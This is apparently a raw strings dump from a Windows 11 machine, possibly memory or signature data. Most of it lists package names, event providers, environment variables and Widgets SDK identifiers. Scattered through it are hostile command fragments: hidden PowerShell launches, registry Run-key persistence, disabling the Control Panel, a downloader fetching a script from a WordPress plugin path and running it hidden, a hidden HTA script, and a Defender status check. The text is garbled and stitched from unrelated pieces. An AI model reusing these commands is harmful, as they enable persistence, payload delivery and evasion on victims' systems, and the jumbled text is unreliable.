Microsoft-OneCore-Connectivity-Mouse-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0411~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|
Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-NFS-Administration-D-Opt-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
Microsoft-Windows-TerminalServices-RemoteApplications-Client-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat|
wow64_microsoft-windows-winrt-metadata_31bf3856ad364e35_none_943df1dd1901acff
wow64_microsoft-windows-winrt-windowsgraphics_31bf3856ad364e35_none_f8e27220be2efe1a
wow64_microsoft-windows-winsock-helper-tcpip_31bf3856ad364e35_none_58afe075536c1751
wow64_microsoft-windows-winsock-legacy-afd_31bf3856ad364e35_none_9776162d7dd1ffdb
wow64_microsoft-windows-winsock-legacy-rnr20_31bf3856ad364e35_none_9f1cca21d91f3ad8
wow64_microsoft-windows-winsock-legacy_31bf3856ad364e35_none_9f89224c1e16d80b
wow64_microsoft-windows-winsqlite3_31bf3856ad364e35_none_a2c37a3ac619531e
wow64_microsoft-windows-winsrv.resources_31bf3856ad364e35_en-us_a8c75f1174e0ee0f
wow64_microsoft-windows-winsrvext_31bf3856ad364e35_none_bd39b99f95fd334b
temRoot%\system32\mswsock.dl
APPDATA=C:\WINDOWS\system32\config
OMPUTERNAME=WINDOWS113
=C:\Windows\System32\
8ll.exe-windowstyle%
DriverData=C:\Windows\System32\Drivers\DriverData
s/run/tn\microsoft\windows\diskcleanup\siy
windowstyler
start /min cmd.exe /c powershell -windowstyle hiddenzetolacs-cloud.toptextpubshiers.top
fso.copyfile "C:\Windows\System32\mshta.exe", Environ("TEMP") & "\calc.com", TrueShell "cmd /c cd %temp% && *
windows.hlp`
c:\windows\vss/c"p
system32\cmd.exe/c"start%cd%
"");iwshshortcut.windowstyle("1
Windows Backup
Windows Error Reporting
Windows Search Service
Windows Search Service Profile Notification
Winlogon
APPDATA=C:\WINDOWS\system32\config
	WINDOWS\system32\cmd.exe3
WINDOWS.INTERNAL.APPLICATIONMODEL.WINDOWMANAGEMENT.WINDOW
Microsoft.Windows.Security.MitigationPolicy
32\windowspowershell\v1.0\
\Device\HarddiskVolume3\Program Files\Windows Defender\MpCmdRun.exemW
Windows Workflow Foundation 4.0.0.0
WindowsTrustedRT
%windir%\system32\vsocklib.dll
%SystemRoot%\system32\mswsock.dll
%SystemRoot%\system32\mswsock.dll
%SystemRoot%\system32\mswsock.dll
WindowsPushNotificationPlatformClsid
"c:\\windows\\~
.exe-windowstylehidden"writee
system32\cmd.ex
Wp2hklm\software\microsoft\windows\currentversion\runw
%windir%\system32\
-process'c:\windows\system32\wbem\wmic/
Microsoft-Windows-Eventlog
Microsoft-Windows-Security-Auditing
WindowStation
Windows PowerShell
Microsoft-Windows-BitLocker-API
Microsoft-Windows-BitLocker-Driver
Microsoft-Windows-Bits-Client
Microsoft-Windows-Bluetooth-BthLEPrepairing
Microsoft-Windows-CoreSystem-InitMachineConfig
Microsoft-Windows-CoreSystem-NetProvision-JoinProviderOnline
Microsoft-Windows-CorruptedFileRecovery-Client
Microsoft-Windows-CorruptedFileRecovery-Server
Microsoft-Windows-DeviceAssociationService
Microsoft-Windows-Devices-AccessBroker
Microsoft-Windows-Devices-Background
Microsoft-Windows-DfsSvc
Microsoft-Windows-Dhcp-Client
Microsoft-Windows-DHCPv6-Client
Microsoft-Windows-Diagnostics-Networking
Microsoft-Windows-DiskDiagnostic
Microsoft-Windows-DistributedCOM
Microsoft-Windows-DNS-Client
Microsoft-Windows-DriverFrameworks-UserMode
Microsoft-Windows-EnhancedPhishingProtection-Events
Microsoft-Windows-EnhancedStorage-EhStorTcgDrv
Microsoft-Windows-EventCollector
Microsoft-Windows-Eventlog
Microsoft-Windows-exFAT-SQM
Microsoft-Windows-FailoverClustering-Client
Microsoft-Windows-Fat-SQM
Microsoft-Windows-Fault-Tolerant-Heap
Microsoft-Windows-Firewall
Microsoft-Windows-FMSoee
Microsoft-Windows-FunctionDiscoveryHost
Microsoft-Windows-GPIO-ClassExtension
Microsoft-Windows-GroupPolicy
Microsoft-Windows-HAL
Microsoft-Windows-HttpEvent
Microsoft-Windows-HttpService
Microsoft-Windows-Hyper-V-Hypervisor
Microsoft-Windows-Iphlpsvc
Microsoft-Windows-Iphlpsvc-Trace
Microsoft-Windows-IsolatedUserMode
Microsoft-Windows-Kernel-Interrupt-Steering
Microsoft-Windows-Kernel-PnP
Microsoft-Windows-Kernel-Power
Microsoft-Windows-Kernel-Processor-Power
Microsoft-Windows-Kernel-Tm
Microsoft-Windows-Kernel-WHEA
Microsoft-Windows-Kernel-XDV
Microsoft-Windows-LanguagePackSetup
Microsoft-Windows-Memory-Diagnostic-Task-Handler
Microsoft-Windows-MemoryDiagnostics-Results
Microsoft-Windows-MemoryDiagnostics-Schedule
Microsoft-Windows-MountMgr
Microsoft-Windows-NDIS
Microsoft-Windows-NdisImPlatformSysEvtProvider
Microsoft-Windows-Network-ExecutionContext
Microsoft-Windows-NetworkBridge
Microsoft-Windows-NetworkProvider
Microsoft-Windows-OfflineFiles
Microsoft-Windows-OverlayFilter
Microsoft-Windows-PersistentMemory-Nvdimm
Microsoft-Windows-PersistentMemory-PmemDisk
Microsoft-Windows-Power-Meter-Polling
Microsoft-Windows-Power-Troubleshooter
Microsoft-Windows-ReFS
Microsoft-Windows-ReFS-v1
Microsoft-Windows-ResetEngu
Microsoft-Windows-Resource-Exhaustion-Detector
Microsoft-Windows-ResourcePublication
Microsoft-Windows-SCPNP
Microsoft-Windows-Serial-ClassExtension
Microsoft-Windows-Serial-ClassExtension-V2
Microsoft-Windows-Servicing
Microsoft-Windows-Setup
Microsoft-Windows-SetupPlatform
Microsoft-Windows-SPB-ClassExtension
Microsoft-Windows-SPB-HIDI2C
Microsoft-Windows-Spell-Checking
Microsoft-Windows-SpellChecker
Microsoft-Windows-StartupRepair
Microsoft-Windows-Subsys-SMSS
Microsoft-Windows-TaskScheduler
Microsoft-Windows-TerminalServices-LocalSessionManager
Microsoft-Windows-TerminalServices-RemoteConnectionManager
Microsoft-Windows-Time-Service
Microsoft-Windows-TPM-WMI
Microsoft-Windows-USB-CCID
Microsoft-Windows-USB-MAUSBHOST
Microsoft-Windows-USB-USBHUB3
Microsoft-Windows-USB-USBXHCI
Microsoft-Windows-UserModePowerService
Microsoft-Windows-UserPnp
Microsoft-Windows-WER-SystemErrorReporting
Microsoft-Windows-WHEA-Logger
Microsoft-Windows-Windows Firewall With Advanced Security
Microsoft-Windows-WindowsToGo-StartupOptions
Microsoft-Windows-WindowsUpdateClient
Microsoft-Windows-Wininit
Microsoft-Windows-Winlogon
Microsoft-Windows-WinREAgent
Microsoft-Windows-WLAN-AutoConfig366a6bc
Microsoft-Windows-WMPNSS-Service
Windows Disk Diagnostic
Windows Script Host
Microsoft-Windows-AAD
Microsoft-Windows-ApplicationExperienceInfrastructure
Microsoft-Windows-ASN1
Microsoft-Windows-Audio
Microsoft-Windows-AxInstallService
Microsoft-Windows-Backup
Microsoft-Windows-CAPI2
Microsoft-Windows-CertificateServicesClient
Microsoft-Windows-CertificateServicesClient-AutoEnrollment
Microsoft-Windows-CertificateServicesClient-CertEnroll
Microsoft-Windows-CertificateServicesClient-CredentialRoaming
Microsoft-Windows-CertificationAuthorityClient-CertCli
Microsoft-Windows-COMRuntime
Microsoft-Windows-Crypto-BCrypt
Microsoft-Windows-Crypto-CNG 
Microsoft-Windows-Crypto-DPAPI9
Microsoft-Windows-Crypto-DSSEnh
Microsoft-Windows-Crypto-NCrypt
Microsoft-Windows-Crypto-RNG
Microsoft-Windows-Crypto-RSAEnh
Microsoft-Windows-Deduplication
Microsoft-Windows-Defrag
Microsoft-Windows-DeliveryOptimization
Microsoft-Windows-DeviceGuard
Microsoft-Windows-DirectShow-Core
Microsoft-Windows-DirectShow-KernelSupport
Microsoft-Windows-EapHost
Microsoft-Windows-EFS
Microsoft-Windows-EventCollector
Microsoft-Windows-Folder Redirection
Microsoft-Windows-GenericRoaming
Microsoft-Windows-Immersive-Shell
Microsoft-Windows-KdsSvc
Microsoft-Windows-LiveId
Microsoft-Windows-PDH
Microsoft-Windows-PerfDisk
Microsoft-Windows-Perflib
Microsoft-Windows-PerfNet
Microsoft-Windows-PerfOS
Microsoft-Windows-PerfProc
Microsoft-Windows-ProcessExitMonitor
Microsoft-Windows-RemoteApp and Desktop Connections
Microsoft-Windows-RemoteAssistance
Microsoft-Windows-RestartManager
Microsoft-Windows-Search
Microsoft-Windows-Security-EnterpriseData-FileRevocationManager
Microsoft-Windows-Security-Netlogon
Microsoft-Windows-Security-SPP
Microsoft-Windows-SmartCard-DeviceEnum
Microsoft-Windows-Spell-Checking
Microsoft-Windows-SpellChecker
Microsoft-Windows-Spellchecking-Host
Microsoft-Windows-System-Restore
Microsoft-Windows-TerminalServices-ClientActiveXCore
Microsoft-Windows-User Profiles General
Microsoft-Windows-User Profiles Service
Microsoft-Windows-Video-For-Windows
Microsoft-Windows-WBioSrvc
Microsoft-Windows-WindowsSystemAssessmentTool
Microsoft-Windows-Winsrv
Microsoft-Windows-WMI
Microsoft-Windows-XWizards
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.1591.cat
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.26100.7824.cat
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDcQ
ft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\sytQ
C:\WINDOWS\system32\wbem\wmiprvse.exe
APPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Roaming
COMPUTERNAME=WINDOWS11
ComSpec=C:\WINDOWS\system32\cmd.exe
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\WINDOWS\system32\config\systemprofile\AppData\Local
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
TEMP=C:\WINDOWS\TEMP
TMP=C:\WINDOWS\TEMP
USERNAME=WINDOWS11$
USERPROFILE=C:\WINDOWS\system32\config\systemprofile
:Microsoft.Windows.Widgets.Hosts.WidgetPostMessageEventArgs
8Microsoft.Windows.Widgets.Hosts.WidgetProviderDefinition
FMicrosoft.Windows.Widgets.Hosts.WidgetProviderDefinitionAddedEventArgs
HMicrosoft.Windows.Widgets.Hosts.WidgetProviderDefinitionDeletedEventArgs
HMicrosoft.Windows.Widgets.Hosts.WidgetProviderDefinitionUpdatedEventArgs
AMicrosoft.Windows.Widgets.Hosts.WidgetRemoveAnnouncementEventArgs
?Microsoft.Windows.Widgets.Hosts.WidgetSendAnnouncementEventArgs
4Microsoft.Windows.Widgets.Hosts.WidgetThemeResources
6Microsoft.Windows.Widgets.Hosts.WidgetUpdatedEventArgs
<Microsoft.Windows.Widgets.Hosts.IWidgetApiInformationStatics
(Microsoft.Windows.Widgets.WidgetContract
5Microsoft.Windows.Widgets.Hosts.IWidgetCatalogStatics
(Microsoft.Windows.Widgets.WidgetContract
2Microsoft.Windows.Widgets.Hosts.IWidgetHostStatics
(Microsoft.Windows.Widgets.WidgetContract
9Microsoft.Windows.Widgets.Hosts.IWidgetHostContextFactory
(Microsoft.Windows.Widgets.WidgetContract
@Microsoft.Windows.Widgets.Notifications.IFeedAnnouncementFactory
(Microsoft.Windows.Widgets.WidgetContract
8Microsoft.Windows.Widgets.Notifications.FeedAnnouncement
CMicrosoft.Windows.Widgets.Notifications.FeedAnnouncementInvokedArgs
:Microsoft.Windows.Widgets.Notifications.WidgetAnnouncement
EMicrosoft.Windows.Widgets.Notifications.WidgetAnnouncementInvokedArgs
BMicrosoft.Windows.Widgets.Notifications.IWidgetAnnouncementFactory
(Microsoft.Windows.Widgets.WidgetContract
;Microsoft.Windows.Widgets.Providers.WidgetActionInvokedArgs
CMicrosoft.Windows.Widgets.Providers.WidgetAnalyticsInfoReportedArgs
1Microsoft.Windows.Widgets.Providers.WidgetContext
<Microsoft.Windows.Widgets.Providers.WidgetContextChangedArgs
DMicrosoft.Windows.Widgets.Providers.WidgetCustomizationRequestedArgs
?Microsoft.Windows.Widgets.Providers.WidgetErrorInfoReportedArgs
.Microsoft.Windows.Widgets.Providers.WidgetInfo
1Microsoft.Windows.Widgets.Providers.WidgetManager
=Microsoft.Windows.Widgets.Providers.WidgetMessageReceivedArgs
9Microsoft.Windows.Widgets.Providers.WidgetResourceRequest
?Microsoft.Windows.Widgets.Providers.WidgetResourceRequestedArgs
:Microsoft.Windows.Widgets.Providers.WidgetResourceResponse
>Microsoft.Windows.Widgets.Providers.WidgetUpdateRequestOptions
9Microsoft.Windows.Widgets.Providers.IWidgetManagerStatics
(Microsoft.Windows.Widgets.WidgetContract
BMicrosoft.Windows.Widgets.Providers.IWidgetResourceResponseFactory
(Microsoft.Windows.Widgets.WidgetContract
FMicrosoft.Windows.Widgets.Providers.IWidgetUpdateRequestOptionsFactory
(Microsoft.Windows.Widgets.WidgetContract
FMicrosoft.Windows.Widgets.Providers.IWidgetUpdateRequestOptionsStatics
(Microsoft.Windows.Widgets.WidgetContract
DMicrosoft.Windows.Widgets.Feeds.Hosts.FeedDefinitionUpdatedEventArgs
.Microsoft.Windows.Widgets.Feeds.Hosts.FeedHost
<Microsoft.Windows.Widgets.Feeds.Hosts.FeedProviderDefinition
JMicrosoft.Windows.Widgets.Feeds.Hosts.FeedProviderDefinitionAddedEventArgs
LMicrosoft.Windows.Widgets.Feeds.Hosts.FeedProviderDefinitionDeletedEventArgs
LMicrosoft.Windows.Widgets.Feeds.Hosts.FeedProviderDefinitionUpdatedEventArgs
EMicrosoft.Windows.Widgets.Feeds.Hosts.FeedRemoveAnnouncementEventArgs
CMicrosoft.Windows.Widgets.Feeds.Hosts.FeedSendAnnouncementEventArgs
TMicrosoft.Windows.Widgets.Feeds.Providers.ICustomQueryParametersUpdateOptionsFactory
(Microsoft.Windows.Widgets.WidgetContract
=Microsoft.Windows.Widgets.Feeds.Providers.IFeedManagerStatics
(Microsoft.Windows.Widgets.WidgetContract
FMicrosoft.Windows.Widgets.Feeds.Providers.IFeedResourceResponseFactory
(Microsoft.Windows.Widgets.WidgetContract
LMicrosoft.Windows.Widgets.Feeds.Providers.CustomQueryParametersRequestedArgs
LMicrosoft.Windows.Widgets.Feeds.Providers.CustomQueryParametersUpdateOptions
GMicrosoft.Windows.Widgets.Feeds.Providers.FeedAnalyticsInfoReportedArgs
:Microsoft.Windows.Widgets.Feeds.Providers.FeedDisabledArgs
9Microsoft.Windows.Widgets.Feeds.Providers.FeedEnabledArgs
CMicrosoft.Windows.Widgets.Feeds.Providers.FeedErrorInfoReportedArgs
5Microsoft.Windows.Widgets.Feeds.Providers.FeedManager
AMicrosoft.Windows.Widgets.Feeds.Providers.FeedMessageReceivedArgs
BMicrosoft.Windows.Widgets.Feeds.Providers.FeedProviderDisabledArgs
AMicrosoft.Windows.Widgets.Feeds.Providers.FeedProviderEnabledArgs
:Microsoft.Windows.Widgets.Feeds.Providers.FeedProviderInfo
=Microsoft.Windows.Widgets.Feeds.Providers.FeedResourceRequest
CMicrosoft.Windows.Widgets.Feeds.Providers.FeedResourceRequestedArgs
>Microsoft.Windows.Widgets.Feeds.Providers.FeedResourceResponse
*Microsoft.Windows.Widgets.Hosts.Screenshot
(Microsoft.Windows.Widgets.WidgetContract
&Microsoft.Windows.Widgets.Hosts.Widget
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
4Microsoft.Windows.Widgets.Hosts.WidgetApiInformation
0Microsoft.Windows.Widgets.Hosts.WidgetCapability
-Microsoft.Windows.Widgets.Hosts.WidgetCatalog
0Microsoft.Windows.Widgets.Hosts.WidgetDefinition
>Microsoft.Windows.Widgets.Hosts.WidgetDefinitionAddedEventArgs
@Microsoft.Windows.Widgets.Hosts.WidgetDefinitionDeletedEventArgs
@Microsoft.Windows.Widgets.Hosts.WidgetDefinitionUpdatedEventArgs
1Microsoft.Windows.Widgets.Hosts.WidgetHostContext
*Microsoft.Windows.Widguration
Windows.Foundation.Metadata
(Microsoft.Windows.Widgets.WidgetContract
9Microsoft.Windows.Widgets.Feeds.Hosts.IFeedCatalogStatics
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
(Microsoft.Windows.Widgets.WidgetContract
6Microsoft.Windows.Widgets.Feeds.Hosts.IFeedHostStatics
(Microsoft.Windows.Widgets.WidgetContract
KMicrosoft.Windows.Widgets.Feeds.Hosts.CustomQueryParametersUpdatedEventArgs
1Microsoft.Windows.Widgets.Feeds.Hosts.FeedCatalog
5Microsoft.Windows.Widgets.Feeds.Hosts.FeedCoordinator
IMicrosoft.Windows.Widgets.Feeds.Hosts.FeedCoordinatorPostMessageEventArgs
4Microsoft.Windows.Widgets.Feeds.Hosts.FeedDefinition
BMicrosoft.Windows.Widgets.Feeds.Hosts.FeedDefinitionAddedEventArgs
DMicrosoft.Windows.WiditionId
Microsoft.Windows.Widgets.Notifications
Microsoft.Windows.Widgets.Providers
Windows.Foundation.FoundationContract
Windows.Foundation
Windows.Foundation.UniversalApiContract
Windows.Storage.Streams
Windows.Foundation.Collections
Microsoft.Windows.Widgets
Microsoft.Windows.Widgets.winmd
Microsoft.Windows.Widgets.Feeds.Hosts
Microsoft.Windows.Widgets.Feeds.Providers
Microsoft.Windows.Widgets.Hosts
copy""%0"""%systemroot%\system32\file.bat"regadd"hklm\software\microsoft\windows\currentversion\run"/v"filel"/treg_sz/d"%systemroot%\system32\file.bat"/fregaddhkcu\software\microsoft\windows\currentversion\policies\explorer/vnocontrolpanel/treg_dword/d1/f
c:\windows\system32\windowspowershell\v1.0\powershell.exe-comman$
Windows.Services.TargetedContent.dll
Tandlgeklinikker212.marC:\TEMP\overmandede\MetranSYSTEM32\energetiskes\Physicianer223.lnk
://save.windowstone.website:
ext-ms-win-ntuser-windowstation-l1-1-0.dll
start-process-filepath'c:\windows\system32\cmd.exe'-argumentlist'/c""c:\users\
s;C:\WINDOWS<
C:\WINDOWS\Inf\~3778.tmpMadExceptionmadS
\windows\currentverG
c:\windows\
cmd /c "reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v 
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\\
windows 
c:\windows\
c:\windows\
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Hosts.WidgetHost.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Providers.FeedManager.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Providers.FeedResourceResponse.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Notifications.FeedAnnouncement.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Feeds.Hosts.FeedCatalog.g.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.System.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Internal.Feeds.Providers.FeedChannelManager.g.h
C:\__w\1\s\src\packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\include\wil\win32_helpers.h
YC:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.ApplicationModel.Resources.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.ApplicationModel.Resources.Core.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.ApplicationModel.AppExtensions.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.ApplicationModel.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Hosts.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Feeds.Providers.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.System.UserProfile.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Foundation.Metadata.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Storage.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Foundation.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Data.Json.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Windows.Foundation.Collections.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\Microsoft.Windows.Widgets.Feeds.Hosts.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\impl\Windows.Foundation.Collections.0.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\winrt\base.h
48^windows.backgroundTasks
\windows\currentsversion\run\udf","%#
.cmdc:\windows\write.exe%systemroot%\write.exe%systemroot%
nname="ttrgnkrtegjtjgjerg"windowstate="minimize"maximizebutton="no"minimizebutton="no"caption="no"showintaskbar="no"><scripttype="text/vbs
.windowsstore.com1&0
WindowsDeleteString
WindowsCreateStringReference
??BType@Platform@@SA?AVTypeName@Interop@Xaml@UI@Windows@@PE$AAV01@@Z
WindowsCreateString
WindowsCompareStringOrdinal
WindowsConcatString
WindowsCreateStringReference
WindowsDeleteString
WindowsDuplicateString
WindowsGetStringLen
WindowsGetStringRawBuffer
WindowsIsStringEmpty
7AAA_SystemSettings_Misc_RollbackYourPC_Windows10$
Go back to Windows 10U
Change the language that Windows features appear in_
ObjectDirectory=\Windows
Microsoft.Windows.Widgets.dll
gfirewalldewindows/conexincompartidaainternet(ics)"for/f"tokens=2delims=:"%%ain('ipconfig/all^|find"ip"')do(setip=%%a)
\system32&
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\Providers.WidgetUpdateRequestOptions.g.h
C:\__w\1\s\src\packages\Microsoft.Windows.ImplementationLibrary.1.0.231216.1\include\wil\resource.h
C:\__w\1\s\src\sdk\Microsoft.Windows.Widgets\x64\Release\Generated Files\module.g.cpp
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedResourceRequestedArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedManager2
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedDisabledArgs
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedProviderMessage
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedProviderErrors
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedResourceResponseFactory
__x_ABI_CMicrosoft_CWindows_CWidgets_CFeeds_CProviders_CIFeedProviderInfo
.Jstruct(Windows.UI.Text.FontWeight;u2)
struct(Windows.Web.Http.HttpProgress;enum(Windows.Web.Http.HttpProgressStage;i4);u8;pinterface({61c17706-2d65-11e0-9ae8-d48564015472};u8);u8;pinterface({61c17706-2d65-11e0-9ae8-d48564015472};u8);u4)
[P/HWindows.Services.Store.StoreContract
struct(Windows.Services.Store.StorePackageUpdateStatus;string;u8;u8;f8;f8;enum(Windows.Services.Store.StorePackageUpdateState;i4))
COMPUTERNAME=WINDOWS11
DriverData=C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC
LOGONSERVER=\\WINDOWS11
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
TEMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
TMP=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\AC\Temp
= "C:\Windows\Temp\chrupdate.ps1www.ilaunchmanager.com/x/wp-content/plugins/fb-infiltrator-personal/dl2.php= shell("powershell.exe -nologo -file c:\windows\temp\chrupdate.ps1", vbhide)
WindowsF
2^MicrosoftWindows.CrossDevice_0.25062.28.0_x64__cw5n1h2txyewy
1^E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy!Microsoft.Windows.AppResolverUX
14^WINDOWS.APPSERVICE
Windows.OS.Emergency.EXE.amd64
Windows.Appraiser.amd64
Windows.AppraiserData.amd64
Windows.Autopilot.amd64
Windows.EmergencyUpdate.amd64
Windows.OOBE.amd64
IsWindowsOOBE
Windows.OOBE.Cumulative.amd64
Windows.OS.Emergency.CBS.amd64
Windows.UpdateStackPackage.amd64
Windows.OS.Emergency.MSI.amd64
Windows.UndockedFlighting.RunUXInternal.amd64
Winlogon
WindowsAppRuntime.DeploymentExtensions.OneCore.dllu
reg add hkey_current_user\software\microsoft\windows\currentversion\runoncer
WindowsStore
get%-wmiobject.*root\microsoft\windows\defender.*$%($mpcomputerstatus%.realtimeprotectionenabled%)
ComSpec=C:\WINDOWS\system32\cmd.exe
Microsoft.WindowsAppRuntime.CBS.1.6_6000.700.2257.100_x64__8wekyb3d8bbwe
Microsoft.WindowsAppRuntime.CBS.1.8_8000.694.2228.100_x64__8wekyb3d8bbwe
ComSpec=C:\WINDOWS\system32\cmd.exe
COMPUTERNAME=WINDOWS11
5_cgo_dummy_exportattackevals.mitre-engenuity.org/exaramel-windows/c23
alldevices.blob.core.windows.net
C:\WINDOWS\system32\backgroundTaskHost.exe2
Reg Add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\run" /ve /t REG_SZ /d
\windows\
wmicache information from windows management filew
Windows.Foundation
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps;
c:\windows\
windows.updateTask
windows.pr
@{MicrosoftWindows.Client.CBS_1000.261
a-zA-Z_RH, "Mozilla/5.1 (Windows NT 6.1; rv:50.0) Gecko/20200102 Firefox/50.0"
%systemroot%\system32\wbem
%systemroot%\system32\wbem
Microsoft.Windows.OneCoreTransforms
Microsoft.Windows.User32
\windows internet name service
SystemRoot=C:\WINDOWS%
DriverData=C:\Windows\System32\Drivers\DriverData
wow64_microsoft-windows-vssadmin_31bf3856ad364e35_none_075002fce1a1da8a
wow64_microsoft-windows-vssapi-core.resources_31bf3856ad364e35_en-us_b08ef3380fe0d4ea
wow64_microsoft-windows-vssapi-core_31bf3856ad364e35_none_5dee4f1e724863f5
